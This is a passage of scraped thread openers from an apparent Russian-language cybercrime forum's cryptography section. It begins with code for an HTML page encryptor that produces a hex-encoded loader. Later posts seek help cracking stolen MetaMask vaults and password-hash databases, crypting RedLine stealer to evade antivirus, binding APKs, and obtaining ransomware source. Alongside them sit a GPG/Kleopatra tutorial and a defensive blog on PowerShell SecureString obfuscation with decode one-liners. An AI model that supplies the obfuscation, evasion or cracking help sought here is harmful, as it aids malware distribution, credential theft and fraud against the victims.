        loaderCode1 = loaderCode1.replace(/>/g, '>');

        loaderCode1 = loaderCode1.replace(/&/g, '&');

        loaderCode1 = loaderCode1.replace(/linebreak/g, "\n");

        loaderCode1 = loaderCode1.replace(/"/g, '"');

        console.log(loaderCode1)

        dstCode = loaderCode1.replace(/loadercode/, escape(encrypted));

        document.getElementById("DstText").value = dstCode;

        evalstr=toHex(dstCode);

        evalCode1 = document.getElementById("hexcode").innerHTML;

        dstCode = evalCode1.replace(/hexdecimal/, evalstr);

        dstCode = dstCode.replace(/</g, '<');

        dstCode = dstCode.replace(/>/g, '>');

        document.getElementById("DstText").value = dstCode;

        

        }

    </script>

    <form name="encryptor"><br>

    <font style="text-align: center;" color="black" size="2"><b>Password:</b><input type="text" name="pass" id="pass" size="20">

    <font face="Arial" color="black" size="2"><br><br><br><b>Source Code</b><br><textarea style="width:100%" name ="SourceText" id="SourceText" rows="15" ></textarea><br><a href="javascript:do_encode();" title="Start Encryption"><b>Encrypt 'Html Source'</b></a><br><br>

    Encrypted Text Only<br><textarea style="font-size: 10px; width:100%" name="encodetext" id="encodetext" rows="5"></textarea><br><br>

    Encrypted Text With HTML Loader<br><textarea style="font-size: 10px; width:100%" name="DstText" id="DstText" rows="15" ></textarea><br>

    <a href="javascript:downloadfile();" title="Download File"><b>(2) Download Encrypted File For Testing after Encrypted HTML Loader is created.</b></a>

    <script>

        function downloadfile() {strData = document.getElementById("DstText").value;filename="test.html";sMine="text/plain";download(strData,filename,sMine);}

        function download(strData, strFileName, strMimeType) {var D = document,A = arguments,a = D.createElement("a"),d = A[0],n = A[1],t = A[2] || "text/plain";a.href = "data:" + strMimeType + "charset=utf-8," + escape(strData);if (window.MSBlobBuilder) { var bb = new MSBlobBuilder();bb.append( strData);return navigator.msSaveBlob(bb, strFileName);} if ('download' in a) { a.setAttribute("download", n);a.innerHTML = "downloading...";D.body.appendChild (a);setTimeout(function() {var e = D.createEvent("MouseEvents");e.initMouseEvent("click", true, false, window, 0, 0, 0, 0, 0, false, false, false, false, 0, null);a.dispatchEvent(e);D.body.removeChild(a);}, 66);return true;};var f = D.createElement("iframe");D.body .appendChild(f);

    </script>

    <br><br></b></font>

    <script>

    </script>

    <script>document.getElementById("pass").focus();</script>

    </left></form>

    </body>

</html>

<script>function toHex(str) {

    varresult = '';

    for (var i=0; i<str.length; i++) {

      result=result + "" + str.charCodeAt(i).toString(16);

    }

    return result;

  }</script>

<noscript><br><br><center><font face="Arial" size=4 color="red"><b>JavaScript is <u>DISABLED</u><br>In order to decrypt the protected data, Javascript needs to be enabled.</b><br><br></center></noscript>

After you will encrypt it , you will get something like this

Code:Copy to clipboard

<script type="text/javascript">var encoded="3c68746d6 .......... 6d6c3e";decoded = unescape(('' + encoded).replace(/(..)/ g, '%$1'));document.write(decoded);</script>

Update your unencrypted code with this one and access the page with the password provided at the time of encryption.

if you have better options, please share with us, so we can learn .

Sorry for my bad english.

Metamask Vault
ID: 676536fbb4103b69df3737ef
Thread ID: 69712
Created: 2022-07-05T21:20:40+0000
Last Post: 2022-10-05T12:44:14+0000
Author: i0pht
Replies: 21 Views: 1K

У меня есть несколько файлов Metamask Vault, которые я хочу расшифровать, чтобы получить семена. Я уже пытался найти пароль в cookies, password.txt и автозаполнении, но ничего не получилось. Есть ли способ извлечь из них семена? Какая-нибудь программа? Буду признателен за любые предложения от экспертов.

Заранее спасибо.

Kleopatra: GnuPG в графической оболочке
ID: 676536fbb4103b69df3737fe
Thread ID: 70998
Created: 2022-08-01T23:45:54+0000
Last Post: 2022-08-08T14:20:49+0000
Author: top
Prefix: Статья
Replies: 5 Views: 1K

Программы семейства GPG (GNU Privacy Guard) / PGP (Pretty Good Privacy) позволяют "прозрачно" подписывать и зашифровывать все типы цифровой информации. По своей сути, названные инструменты являются лишь удобной обёрткой, упрощающей практическое использование открытых алгоритмов асимметричной криптографии.

Несколько лет ведется полемика об актуальности использования GPG, в рамках которой высказывается много скептицизма о громоздкости и устаревании этого криптографического продукта. Высокий порог вхождения очевиден при соответствующем поисковом запросе, который выдает много сложной информации и инструкции по работе с утилитой GPG в терминале Linux.

В этой статье рассмотрим приложение с открытым исходным кодом для работы с инструментарием GPG в графической оболочке — находка для новичков и тех, кто просто избегает загадочного черного окна командной строки. Благодаря кроссплатформенности Клеопатры, статья одинаково полезна для пользователей Windows, Linux и FreeBSD.

Установка​

Во многих unix-like операционных системах Клеопатра имеется в репозиториях по умолчанию. В Debian установка выглядит так: sudo apt-get install kleopatra.

Для Windows программа распространяется в пакете GPG4Win, объединяющем в себе несколько полезных инструментов: непосредственно Kleopatra , GpgEX - удобный плагин для проводника Windows, который добавляет в контекстное меню пункты "Зашифровать", "Подписать", "Расшифровать", "Проверить контрольные суммы" и некоторые другие, GPA — еще один более простой на вид и менее функциональный менеджер ключей, GpgOL — плагин для почтового клиента Outlook).

Первый шаг в использовании GPG — создание своей пары ключей. Публичный ключ предоставляется всем желающим, а секретный хранится в надежном месте и служит для подписания информации от лица его владельца и расшифровки адресованной ему информации.

Создание пары ключей​


На выбор предлагаются типы ключей X.509 (практически применяется в корпоративной среде) и OpenPGP. Выбираем OpenPGP. Вводим контактые данные, которые будут отображаться у всех владельцев нашего открытого ключа. Вместо настоящего имени можно указать никнейм. В дальнейшем некоторую информацию ключа будет возможно изменить.

По умолчанию используется шифрование RSA с длиной ключа в 2048 бит (2048 нулей и единиц машинного кода). С учетом развития квантовых технологий, данное шифрование всё менее и менее кажется надежным. В настоящее время себя хорошо зарекомендовало использование криптографии на эллиптических кривых. Подобные алгоритмы имеют невероятную криптостойкость и хорошую производительность, благодаря небольшой длине ключа.


Чтобы создать пару ключей на эллиптических кривых, переходим в дополнительные параметры. Пункт ECDSA/EdDSA — то, что нам надо. Дополнительный чекбокс (галочка)_ "_+ECDH" даст ключу возможность шифровать, без нее сертификат можно будет использовать только для подписи и идентификации, так как ECDSA/EdDSA — алгоритмы подписи, а не шифрования. В выпадающих списках предлагается выбрать один из алгоритмов: ed25519, brainpool и NIST.

  1. ed25519 (Curve25519) — эталонная и непатентованной реализация криптографии на эллиптической кривой, имеет 128-битную длину. Является ключом EdDSA — самым актуальным алгоритмом цифровой подписи (считается, что без закладок от силовых структур каких-либо стран).
  2. brainpool — алгоритм, разработанный немецким сообществом криптографоф, в число которых входят университеты, государственные ведомства и коммерческие организации, например, компания Bosch. Поддерживает длины в 256, 384 и 512 бит. При подписи использует несколько устаревший алгоритм ECDSA.
  3. NIST — американский алгоритм, разработанный Национальным Институтом Стандартов и Технологий. Рекомендован для использования государственными органами США. Поддерживает длины в 256, 384 и 521 бит. По оценке некоторых специалистов, NIST лучше brainpool по производительности. При подписи использует несколько устаревший алгоритм ECDSA.

Для примера в обоих случаях используется алгоритм brainpool с максимальной длиной ключа. По умолчанию ключ создается со сроком годности в два года. Этот параметр можно изменить, либо вовсе отключить, тогда ключ будет бессрочным.


На следующем шаге задается пароль, который является последним рубежом защиты секретного ключа. Не следует передавать кому-то секретный ключ, но если так все-таки вышло, будет лучше, когда вы задали очень надежный пароль. Рекомендуется использовать специальные знаки (символы пунктуации и прочее) для надежной защиты от брутфорса. Лучшим вариантом будет длинный пароль, полученный из генератора случайных символов, однако не забывайте про золотую середину между использованием и безопасностью. Например, вводить на телефоне очень длинный и сложный пароль с символами из расширенной таблицы ASCII, не имея возможности его скопировать из менеджера паролей, будет весьма проблематично.


Итак, пара ключей создана! Обратите внимание на отпечаток, это уникальный идентификатор вашего ключа. Даже если кто-то захочет представиться вами, создав ключ с такими же именем и электронной почтой, его отпечаток будет отличаться. Именно поэтому важно сверять отпечатки получаемых ключей.

Клеопатра предлагает сделать резервную копию ключей, что по факту является экспортом закрытого ключа. Эту операцию в дальнейшем можно произвести в любой момент.


Открыв экспортированный ключ в текстовом редакторе, мы увидим специфичный фрагмент текста, начинающийся словами "BEGIN PGP PRIVATE KEY BLOCK". Будьте внимательны, не отправьте его кому-то по ошибке! Открытые ключи, предназначенные для передачи вторым лицам, начинаются со слов "BEGIN PGP PUBLIC KEY BLOCK".

Большое преимущество GPG перед другими средствами идентификации заключается в легкой переносимости ключа. Например, его можно распечатать на бумаге~~или выучить наизусть~~. Хранить можно только приватный ключ, так как при необходимости кому-то передать публичный, мы всегда можем экспортировать его из секретного (выводится математическим путём).

Экспорт и импорт​


Для операций с ключом, щелкните по нему правой кнопкой мыши.


Для импорта ключей (нашего уже существующего на новом устройстве или полученного публичного), воспользуемся кнопкой "Импорт". Также можно использовать двойной клик по файлу ключа, это автоматически откроет Клеопатру и импортирует выбранный ключ. GPG-файлы встречаются с расширениями *.asc, *.pgp и *.gpg. Это не имеет большого значения, так как расширение нужно больше для удобства пользователя и лишь немного — приложений. Файл будет корректно прочитан и в случае, когда специальное расширение изменено или удалено.


Очень часто ключи распространяются в виде текстового блока. В таком случае, скопировав ключ, можно импортировать его через меню операций с буфером обмена.


Программа попросит удостовериться в подлинности ключа. В настоящее время самым простым и эффективным способом является сравнение отпечатка, поэтому его публикуют вместе с ключом. Если отпечаток совпадает с заявленным, заверяем сертификат.


Теперь мы можем проверять подпись владельца нового ключа и шифровать для него информацию.

Шифрование и подпись​

Чтобы зашифровать и подписать файл, воспользуемся соответствующим пунктом меню на верхней панели.


После выбора файла, предлагается выбрать нужные операции. Подпись позволяет получателю убедиться в авторстве файла. Эта функция очень полезна: расшифровав архив, мы точно знаем, что архив был зашифрован владельцем обозначенного ключа, а не кем-то другим, кто просто располагает нашим публичным ключом. Использовать подпись — полезная привычка в большинстве случаев.


Распространненым способом безопасного хранения данных на облачном хранилище является GPG-шифрование файлов "для себя". В таком случае расшифровать информацию можно будет только нашим ключом.

Также возможна подпись без шифрования. Чаще всего применимо к текстовой информации. Механизм подписания строится на хеш-сумме: позволяет сравнить актуальное состояние информации с тем, какой она была, когда ее подписывал отправитель. Для примера откроем "блокнот".


Назначив отсутствие шифрования для кого-либо, оставляем только подпись и нажимаем кнопку "Подписать".


После ввода пароля от ключа, видим, что к фразе "Отличная работа" добавился дополнительный текстовый блок с хеш-суммой SHA512.


Если сейчас проверить подпись, она будет верна, но если изменить хотя бы один символ или добавить пробел, проверка выявит недействительную для данного текста подпись. Это связано с тем, что хеш-сумма данного массива информации абсолютна отлична от той, когда вместо буквы "Я" стояла "я".


В случае подписи файла без шифрования, в директории файла создается сигнатура с расширением *.sig, которую следует передавать вместе с исходным файлом. Если в файле изменится хотя бы один бит, проверка подписи выдаст ошибку.

Постскриптум​

Все локальные ключи централизованно хранятся на устройстве в специальной папке. Все программы, взаимодействующие с GPG, будут их видеть. Для общения по протоколу XMPP (Jabber), защищенного GPG-шифрованием, можно использовать Gajim, который также является кроссплатформенным. Для ведения защищенной почтовой переписки удобно использовать этичный клиент Thunderbird, в который необходимо будет импортировать секретный ключ, так как он имеет свое изолированное хранилище ключей. Об использовании Thunderbird написано тут.

В статье опущено много технических нюансов, так как она рассчитана на широкий круг пользователей, которые в том числе имеют низкий уровень познаний в криптографии и ищут стартовую позицию для знакомства с действительно надеждным сквозным шифрованием.

Автор pureacetone
habr.com/ru/post/551138/

Thanos Ransomware Builder source code - Password Protected.
ID: 676536fbb4103b69df3737ff
Thread ID: 70787
Created: 2022-07-28T15:41:25+0000
Last Post: 2022-08-07T17:02:25+0000
Author: n3xtr4n
Replies: 23 Views: 1K

hi,

I have seen this source code of Thanos around Telegram channels, and I am not sure if i can share it here. the file is Password Protected. you need to crack the RAR .

as I am pretty sure the Ransomware related is prohibited here for now.

1659022866500.png

PowerShell Obfuscation using SecureString
ID: 676536fbb4103b69df373807
Thread ID: 54441
Created: 2021-07-26T15:12:27+0000
Last Post: 2022-06-28T14:05:43+0000
Author: ThunderFish
Prefix: Мануал/Книга
Replies: 1 Views: 1K

PowerShell has built-in functionality to save sensitive plaintext data to an encrypted object called SecureString. Malicious actors have exploited this functionality as a means to obfuscate PowerShell commands. This blog post discusses SecureString, examples seen in the wild, and presents a tool [8] that helps analyse SecureString obfuscated commands.

PowerShell obfuscation​

If you are a threat hunter, you will be well familiar with PowerShell and common obfuscation techniques. The obvious one is Base64 encoding, but other encoding techiques (gzip, XOR, etc), string techniques (escaping, format string, concat, etc.), downloading & executing in memory are just a few other ways that might help attackers stay under the radar. You might have come across the excellent talk by Daniel Bohannon on PowerShell obfuscation techniques [[1](https://www.sans.org/cyber-security- summit/archives/file/summit-archive-1492186586.pdf)], in which various obuscation and detection evasion techniques using PowerShell are explained.

One of these techniques is SecureString obfuscation , which has so far not received the attention it deserves.
1627312044504.png
An example of an Invoke-Expression cmdlet combined with a SecureString encoded command.

PowerShell and sensitive data​

Let’s first quickly look at what SecureString is and why it was ever implemented in PowerShell. Despite endeavours to move away from old-fashioned passwords, they are still very much prevalent. Susceptible to security problems [2] and hated by users [3], passwords are gradually being replaced by more secure mechanisms. But while they are still out there, we will have to deal with them.

In an attempt to make working with passwords slightly less risky, PowerShell introduced SecureString [[4](https://docs.microsoft.com/en- us/dotnet/api/system.security.securestring)] objects. These special objects contain AES encrypted data, by default using the executing user’s username and computer name as encryption key. As we will see later, you can also specify a static key that makes the result the same across different environments. Whilst in both cases it means it is still possible to obtain the original data without too much trouble, it reduces the risks somewhat.

For instance, an interactive PowerShell script might ask a user to enter their credentials for some service. By using Read-Host together with the -AsSecureString switch, the result will be a SecureString object instead of a plaintext string. A lot of PowerShell objects and cmdlets accept these SecureString objects as input for authentication; for instance, you can pass your SecureString to PSCredential and use them for interacting with a website that requires basic HTTP authentication.

So far, great, you might think. However, as is the case for most of PowerShell’s functionality, for each good, legit use case there is at least one bad, malicious use case.

Obfuscation​

Attackers also like the SecureString functionality. Not to hide their credentials in, but to hide their malicious code/data in. The aspects of SecureString that make it a great improvement over saving passwords in plain (encrypted in memory, harder to obtain original text, etc.) are also great when you are trying to bypass defence systems on an infected machine.

Next to classic obfuscation techniques such as Base64 encoding, XOR encoding, escaping, etc., SecureString offers a superb opportunity for malicious actors to make detection and analysis harder. Because the SecureString functionality comes out of the box with PowerShell, it is really low-hanging fruit: no need to bring your own libraries and the code required is relatively clean.

To create a SecureString object that is system independent, consider the following example:

Code:Copy to clipboard

PS> $encoded = ConvertFrom-SecureString -k (0..15) (ConvertTo-SecureString "Malicious Command" -AsPlainText -Force)

PS> $encoded
76492d1116743f0423413b16050a5345MgB8AFIAWQB3AHoAbABjADMALwA5AGIAdgA3ADAAYgBzAGQAZABqAFAANQBWAFEAPQA9AHwAYwBiAGIAYwBlADYAYQA0ADQAMQA0ADMAMAA3ADEAYQBkADAAZgA0AGYAYgAyAGQANgBiADMAYQA0ADUAMwAxAGIAZAAwAGQAOQA3ADMANABhAGEANwAxADkANQAxADgAZAA0AGQAZQA2ADcAOQBhADAAMQBkADEANgAzADcAMwA1ADIAZAA0ADYAZgA4ADIANQBhADMAMwA5AGYAYwA0AGMAMwBlADUAYgA5ADcANgA4ADQAMQBjADQAOQA4ADkA

We have now a serialised version of a SecureString object using a static, 128-bit key (bytes 0x0 to 0xF). As you can see, the output is something that looks a bit like Base64. It is, in fact, a special format that consists of multiple Base64-encoded and AES-encrypted elements. Putting the above in CyberChef [5] won’t take you far, without knowing the inner workings.

Deserialising the above output and turning it back into plaintext can be achieved as follows:

Code:Copy to clipboard

PS> (New-Object System.Net.NetworkCredential("", (ConvertTo-SecureString -k (0..15) $encoded))).Password
Malicious Command

This is not the only method that works, other techniques are available:

Code:Copy to clipboard

(New-Object System.Management.Automation.PSCredential(" ", (ConvertTo-SecureString -k (0..15) $encoded))).GetNetworkCredential().Password

Code:Copy to clipboard

[Runtime.InteropServices.Marshal]::PtrToStringAuto([Runtime.InteropServices.Marshal]::SecureStringToBSTR((ConvertTo-SecureString -k (0..15) $encoded)))

As a result, an attacker can, similar to the traditional Base64 encoding, decode their data using a one-liner, with the benefit of the payload being AES encrypted. The only limitation is a 65,536 character limit on the original text. If you combine this technique with getting scripts from remote locations, this shouldn’t stop an attacker from executing complex scripts such as the ones part of PowerSploit [6].

This obfuscation technique is actively being used in the wild [7]. As you would expect, it is often combined with other techniques to maximise the chances of staying under the radar. Most examples I have seen use keys that are hardcoded into the script; attackers could make analysis even harder by fetching the key from a remote location.

1627312208083.png
An example of[decoding](https://wietze.github.io/powershell-securestring- decoder/) a real-life SecureString obfuscation example.

Detection and prevention​

If you are hunting, your EDR solution might be able to automatically decode Base64 encoding, but will it automatically decode serialised SecureString objects? Probably not.

It is therefore worth hunting for PowerShell executions using the ConvertTo- SecureString cmdlet, as well the use of other common keywords used to decode the objects such as NetworkCredential, PSCredential and the even rarer Runtime.InteropServices.Marshal object. Similarly, an attacker might use the ConvertFrom-SecureString for encrypting data before exfiltrating it with PowerShell - it is therefore also worth looking out for that cmdlet. In the sample mentioned before [7], looking for these cmdlets in PowerShell command lines would have let you detect the malicious behaviour.

Once detected, you can use PowerShell itself to decode the observed string and analyse its contents. If you don’t have PowerShell at hand or don’t want to analyse PowerShell code in PowerShell for security reasons, I have developed a pure JavaScript, client-side only decoder. You can find it here, or clone the GitHub repo if you want to run your analysis completely offline.

[https://www.wietzebeukema.nl/blog/powershell-obfuscation-using- securestring](https://www.wietzebeukema.nl/blog/powershell-obfuscation- using-securestring)

Ищу Склейкау Apk
ID: 676536fbb4103b69df37380b
Thread ID: 39911
Created: 2020-07-22T13:11:41+0000
Last Post: 2022-06-08T13:17:14+0000
Author: Lui25
Replies: 7 Views: 1K

Добрового времени суток.

Подскажите ищу склейку апк может кто знает сервис или контак того кто делает?

Криптография книги Eng/Fr
ID: 676536fbb4103b69df37381c
Thread ID: 57000
Created: 2021-09-23T14:59:38+0000
Last Post: 2022-03-22T08:39:19+0000
Author: upton
Prefix: Мануал/Книга
Replies: 7 Views: 1K

Нашлось литературы, список ниже, 387 mb.

хттпs://anonfiles.com/r8P8oaJ5u0/bookz_zip

HTML:Copy to clipboard

A Cryptographic File System for Unix.pdf
Algorithmes de chiffrement par bloc.pdf
Algorithmes de chiffrement symetrique par bloc (DES et AES).pdf
Algorithmes et structures de donnees. Initiation au langage CamL.pdf
Algorithmes sur les graphes.pdf
analyseVigenere.pdf
An Introduction to Cryptography (2).pdf
Arithmetique.pdf
Attacking_NTLM_with_precomputed_hashtables.pdf
Attaque par factorisation contre RSA.pdf
Basic Encryption and Decryption.pdf
Cartes graphiques _ calcul, cryptographie et securite.pdf
Chapitre 1 - Intro - L algorithme.pdf
Chiffrement a clef publique, authentification et distribution des clefs.pdf
Chiffrement AES 128ou256Bits Seagate.pdf
Chiffrer avec RSA.pdf
Chosen-Ciphertext Attacks on Optimized NTRU.pdf
Cle Publique.pdf
codebook_solution.pdf
Communication Theory of Secrecy Systems.pdf
Confidentialite et cryptographie en entreprise.pdf
Cours individuel de cryptanalyse.pdf
Cours Sur Les Techniques De Cryptographie - Cnam.pdf
Cryptanalyse_faq.pdf
CRYPTANALYSIS OF A CHAOTIC IMAGE ENCRYPTION METHOD.pdf
"CryptoBench Users Guide.pdf"
cryptographie-2.pdf
Cryptographie asymetrique  L exemple de RSA.pdf
Cryptographie avec Bouncy Castle.pdf
Cryptographie _ de la theorie a la pratique.pdf
Cryptographie elementaire.pdf
Cryptographie et Cryptanalyse.pdf
Cryptographie evolutionniste.pdf
CRYPTOGRAPHIE _Modes operatoires.pdf
Cryptographie.pdf
Cryptographie quantique-Realisations experimentales.pdf
Cryptographie Symetrique Asymetrique.pdf
Cryptography and Network Security Principles and Practices, 4th Ed - William Stallings.pdf
Cryptography engineering _ design principles and practical applications.pdf
Cryptography for Developers - Simon Johnson.pdf
Cryptography Theory And Practice - Douglas Stinson.pdf
cryptointro.pdf
Crypto Key Management System (KMS)- Guide d.administration.pdf
Crypto militaire.pdf
crypto.pdf
cryptoq.pdf
crypto_quant.pdf
Cryptowall_CryptoTunnel_Client_Serveur_FR.pdf
D1T2 - Skyper - Cracking the GSM A5_1 Encryption in Seconds.pdf
DATA ENCRYPTION STANDARD - DES.pdf
defeating_encryption.pdf
DES (2).pdf
Detection of Hiding in the Least Significant Bit.pdf
diffiehellman.pdf
Distributing the Encryption and Decryption of a Block Cipher.pdf
dsg.pdf
EN - A crack on the glass.pdf
EN-Attacking unbalanced RSA-CRT using SPA.pdf
EN-Attacks on Steganographic Systems.pdf
EN-Cryptanalyse Md4.pdf
EN-Crypto2.pdf
EN-Crypto.pdf
EN-DETECTING HIDDEN MESSAGES USING HIGHER-ORDER STATISTICAL MODELS.pdf
EN-Detecting Hidden Messages Using Higher-Order Statistics and Support Vector Machines.pdf
EN-Detecting Steganographic Content on the Internet.pdf
EN-Detecting Steganographic Messages in Digital Images.pdf
EN-Exploring Steganography_ Seeing the Unseen.pdf
EN-On The Limits of Steganography.pdf
EN-Securing applications.pdf
EN- Serpent_ A Proposal for the Advanced Encryption Standard.pdf
EN-Syndrome Decoding in the Non-Standard Cases.pdf
EN-Weaknesses in the Key Scheduling Algorithm of RC4.pdf
Fault-Based Attack of RSA Authentication.pdf
Fonctionnement d.AES.pdf
Fonctions de hachage.pdf
Fourier Analysis.pdf
Fournitures necessaires a l.analyse de mecanismes cryptographiques.pdf
Fundamentals_Cryptography_Encryption.pdf
Fundamentals of Cryptography.pdf
FUNDAMENTALS OF CRYPTOLOGY.pdf
Handbook of Applied Cryptography - Alfred J. Menezes.pdf
Handbook of Applied Cryptography (Crc Press Series on Discrete Mathematics and Its Applications) 5th Edition.pdf
Histoire de la Cryptographie.pdf
How to Break MD5 and Other Hash Functions.pdf
HSC - Introduction a la cryptographie.pdf
Image and Video Encryption From Digital Rights Management to Secured Personal Communication - Sushil Jajodia.pdf
Imperfect Decryption and an Attack on the NTRU Encryption Scheme.pdf
Implementation and Analysis of several Public-Key Encryption Algorithms.pdf
Implementation d une table de hachage parallele.pdf
Improved Collision Attack on MD5.pdf
Information Hiding A Survey.pdf
Introduction a la cryptographie.pdf
Introduction a la cryptographie quantique et au calcul quantique.pdf
Introduction aux codes secrets.pdf
INTRODUCTION TO CRYPTOGRAPHY WITH JAVA APPLETS - DAVID BISHOP.pdf
IntroToCrypto.pdf
Keyczar_ A Cryptographic Toolkit.pdf
La division euclidienne.pdf
La methode RSA et la cryptographie fondee sur les courbes elliptiques.pdf
Learn Encryption Techniques with BASIC and C++ - Gil Held.chm
Le chiffrement par cle publique.pdf
Lecture Notes on Cryptography.pdf
Le format JPEG en steganographie.pdf
Le Polymorphisme Cryptographique.pdf
Les_algorithmes_cryptographiques.pdf
Les algorithmes de base du graphisme.pdf
Les_supports_physiques_de_transmission_le_cable_a_paires_torsadees.pdf
Linear Cryptanalysis of DES.pdf
MD5 Collisions.pdf
Military Cryptanalysis.pdf
Modern Cryptography Theory and Practice - Wenbo Mao.chm
Modern Cryptography Theory and Practice - Wenbo Mao.pdf
Monoalphabetic Unilateral Subtition System.pdf
OAEP  Optimal Asymmetric Encryption Padding- TD - fr.pdf
Oech03.pdf
Pass The Hash.pdf
PKCS 1 v2.1 - RSA Cryptography Standard.pdf
Primalite et factorisation  les cles de RSA.pdf
Principes et algo de crypto OpenSSL.pdf
PROGRESS ON CRYPTOGRAPHY 25 Years of Cryptography in China - Kefei Chen.pdf
Projet de cryptographie-Cassage mot de passe Windows et Linux.pdf
Proofs of Security for Password-Based Key Exchange (IEEE P1363 AuthA Protocol and Extensions).pdf
Public Electronic Contract Protocol.pdf
Reconstructing the Cryptanalytic Attack behind the Flame Malware.pdf
Reperes RSA-1.pdf
RSA.pdf
RSA  Rivest Shamir Adleman.pdf
Secure Network Communication Public Key Cryptography.pdf
Security Flaws Induced by CBC Padding Applications to SSL, IPSEC, WTLS....pdf
Steganographie _ techniques.pdf
stega.pdf
Sur l algorithme RSA.pdf
Techniques Obfuscation De Code. Chiffrer Du Clair Avec Du Clair.pdf
The CodeBreakers - Kahn David.pdf
The DES Algorithm Illustrated.pdf
The MD5 Message-Digest Algorithm.pdf
Theorie de l information et codage-Master de Cryptographie.pdf
The RC5 Encryption Algorithm.pdf
thesis.pdf
Transparent-algorithmes.pdf
Une introduction a la cryptographie  - asymetrique.pdf
vigenere.pdf
X509.pdf
О криптографии всерьез
ID: 676536fbb4103b69df37382b
Thread ID: 60964
Created: 2022-01-07T06:37:29+0000
Last Post: 2022-02-07T06:21:00+0000
Author: x00c4sub
Prefix: Мануал/Книга
Replies: 4 Views: 1K

В данном практическом руководстве по современному шифрованию анализируются фундаментальные математические идеи, лежащие в основе криптографии. Рассказывается о шифровании с аутентификацией, безопасной случайности, функциях хеширования, блочных шифрах и методах криптографии с открытым ключом, в частности RSA и криптографии на эллиптических кривых. Каждая глава содержит обсуждение типичных ошибок реализации с примерами из практики и подробное описание возможных проблем, сопровождаемое рекомендациями по их устранению. Независимо от того, занимаетесь вы разработкой профессионально или только начинаете знакомство с предметом, в этой книге вы найдете полный обзор современной криптографии и ее приложений.

cloud.mail.ru

[ О криптографии всерьез.pdf

](https://cloud.mail.ru/public/br3b/BmdUrHGwX)

Вам открыли доступ к файлу. Отправлено с помощью Облако Mail

cloud.mail.ru cloud.mail.ru

Какой алгоритм шифрования по вашему мнению является наиболее безопасным?
ID: 676536fbb4103b69df37383f
Thread ID: 58328
Created: 2021-10-29T19:09:38+0000
Last Post: 2021-11-15T15:41:57+0000
Author: Buki
Replies: 1 Views: 1K

Какой алгоритм шифрования по вашему мнению является наиболее безопасным?

Крипт под redline
ID: 676536fbb4103b69df373844
Thread ID: 57324
Created: 2021-10-03T01:08:14+0000
Last Post: 2021-10-25T22:25:35+0000
Author: Drachunichka77
Replies: 8 Views: 1K

Всем привет,

Ищу кто может криптовать .exe с redline stealer, нужна так чтоб не один антивирус и не Windows defender не могли детектить.

Через гаранта этого форума

Ищу уник крипт длл есть сорцы 64x/32x300- цена 1к $
ID: 676536fbb4103b69df37385b
Thread ID: 51084
Created: 2021-04-26T18:35:16+0000
Last Post: 2021-07-24T05:27:37+0000
Author: dzagoev2021
Replies: 2 Views: 1K

Ищу уник крипт длл есть сорцы 64x/32x300- цена 1к $

ransomware free&
ID: 676536fbb4103b69df37385e
Thread ID: 54254
Created: 2021-07-21T19:59:51+0000
Last Post: 2021-07-22T08:15:49+0000
Author: register2020
Replies: 3 Views: 1K

в связи с последними событиями, не появился ли свободный или слиты ransomware типа wannaCry и тд?

Serious Cryptography: A Practical Introduction to Modern Encryption (2017)
ID: 676536fbb4103b69df373867
Thread ID: 52608
Created: 2021-06-08T08:28:57+0000
Last Post: 2021-06-08T08:28:57+0000
Author: 0D1UM
Prefix: Мануал/Книга
Replies: 0 Views: 1K

Автор: Jean-Philippe Aumasson
Страниц: 434
Язык: английский.

908x1200.jpg

Целевая аудитория: опытные разработчики.
Данное практическое руководство познакомит вас с современными и актуальными методами шифрования информации. Являясь хорошим пособием по математическим концепциям и алгоритмам шифрования, руководство также касается таких приёмов и методов как хэш-функции, блочное шифрование, шифрование с открытым ключом, RSA и многое другое.

В книге рассматриваются следующие темы:
✔ основы шифрования;
✔ случайное шифрование;
✔ криптографическая безопасность;
✔ блочные шифры;
✔ хэш-функции;
✔ аутентифицированное шифрование;
✔ RSA;
✔ протокол Диффи - Хеллмана.

Spoiler: Скачать:

Hidden content for authorized users.

[ Serious_Cryptography_A_Practical_Introduction_to_Modern_Encryption.pdf

  • AnonFiles ](https://anonfiles.com/hd9bY0z6u4/Serious_Cryptography_A_Practical_Introduction_to_Modern_Encryption_pdf)

anonfiles.com anonfiles.com

Определения хеша?
ID: 676536fbb4103b69df373869
Thread ID: 51719
Created: 2021-05-13T12:28:38+0000
Last Post: 2021-05-19T06:49:58+0000
Author: 256
Replies: 12 Views: 1K

CFGYNtqLdp4ZDBUQ4uHsHcsecE+PFq6fokkz9V7GykonaQ1nkNMCA+Sz9IvxAdbD4c4apJ3/dqjNyxtloqoikx1qRlqUN8g9KYn4YyATCtcO0VtDqC83kjgTWYSvgfolqIYwmpVknjTOfP4JF7N/D2fxe25ReMaygCKuIv7NjOmseqzFNPgeP5y2Z9eLeATSeTRjU8GJr6wkfeAVHRye8ZZxxtwwA/ScLikn7RaV9EowLlnBmwt173a/RvMJoLbI:bl4rNFQjeGZlKkZaTVRPKw==

Click to expand...

Добрый день, пытаюсь написать чекер и сервер выдает этот хеш при авторизации.
Сайты для определения хешов нечего не находят.
Буду благодарен за любую помощь

Замена hashes.org
ID: 676536fbb4103b69df37386a
Thread ID: 51690
Created: 2021-05-12T17:40:45+0000
Last Post: 2021-05-13T11:38:57+0000
Author: SaT311it3
Replies: 4 Views: 1K

Наши зарубежные друзья решили не ждать когда HO воскреснет и решили написать аналог https://hashmob.net

Сейчас сайт еще допиливается, но уже можно обратить внимание. Сейчас владелец заливает остатки нерасшифрованные с HO.

определите хэш и помогите с расшифровкой базы
ID: 676536fbb4103b69df373870
Thread ID: 51031
Created: 2021-04-25T05:38:34+0000
Last Post: 2021-04-25T16:27:23+0000
Author: redeyex
Replies: 2 Views: 1K

определите хэш и помогите с расшифровкой базы

"encrypted_password"=>"81f194484ae17ddc5d5b45299c4fa6f551a090655e1fdb5eff0e4a05a900322cbc29f68a24d5fdb07a7500fc91dbf8fb7bcaaff2eae18080d67331453fd56e26":"password_salt"=>"D7DzqeogKjxEzvz4VdSo"

128:20 получается

и ещё вопрос кроме утилиты hashcat есть проги типа passwordsPro?

напишите в tg @alfagref
отблагодарю

Нужна помощь с расшифровкой базы
ID: 676536fbb4103b69df373871
Thread ID: 50280
Created: 2021-04-04T19:16:32+0000
Last Post: 2021-04-12T13:45:55+0000
Author: YoungHustler
Replies: 4 Views: 1K

Есть небольшая база маил:хэш, хэш странный на моем железе по словарям брут пару лет. Нужна помощь, поделим базу на двоих.

Возможно ли зашифровать весь раздел диска с ОС с помощью VeraCrypt?
ID: 676536fbb4103b69df373874
Thread ID: 49665
Created: 2021-03-21T11:46:53+0000
